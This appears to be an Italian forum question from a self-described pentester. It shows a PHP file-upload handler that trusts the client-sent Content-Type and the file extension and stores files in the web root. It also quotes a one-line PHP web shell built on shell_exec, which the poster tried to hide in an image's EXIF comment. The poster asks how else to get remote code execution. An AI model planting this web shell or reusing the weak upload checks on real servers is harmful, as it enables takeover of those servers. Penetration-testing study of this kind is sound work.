Sto cercando di capire come utilizzare i file JPG e PNG per ottenere RCE. Di seguito è riportato il mio codice per il caricamento dei file. Verificherà se il tipo di contenuto del file è corretto.
<?php
$test = array('image/jpeg', 'image/png', 'image/jpg');
$test2 = @$_FILES['filename'];
$test3 = array('png', 'jpg', 'jpeg');
$ut = pathinfo($test2['name'], PATHINFO_EXTENSION);
$original_path="uploadedfiles/";
//New path uploadfile/filename.extension
$original_path1 = $original_path.basename($test2['name']);
$original_path2 = "C:/xampp/htdocs/demo/$original_path1";
$resultpath = "F:/".basename($test2['name']);
if (isset($test2))
{
if (in_array($test2['type'], $test))
{
if (in_array($ut, $test3))
{
if(move_uploaded_file($test2["tmp_name"], $original_path1))
{
echo "The file ".basename($test2['name'])." has been uploaded successfully. <br><br> <img src=/demo/$original_path1>";
}
else
{
echo "Error in file upload";
}
}
else
{
echo "Invalid File Extension";
}
}
else
{
echo "Invalid file Content-type ";
}
}
else
{
echo "Where is the filename parameter? Go and make another request with the filename parameter.";
}
?>
Ho provato a cambiare la descrizione e l'intestazione Exif del commento utente attraverso questo sito web con questo payload:
<?if($_GET['r0ng']){echo"<pre>".shell_exec($_GET["r0ng"]);}?>
Ma fallito.
Quindi, in qualità di pentestore, quali altre cose posso provare? Sono sicuro che mi manca qualcosa di importante, ma cosa?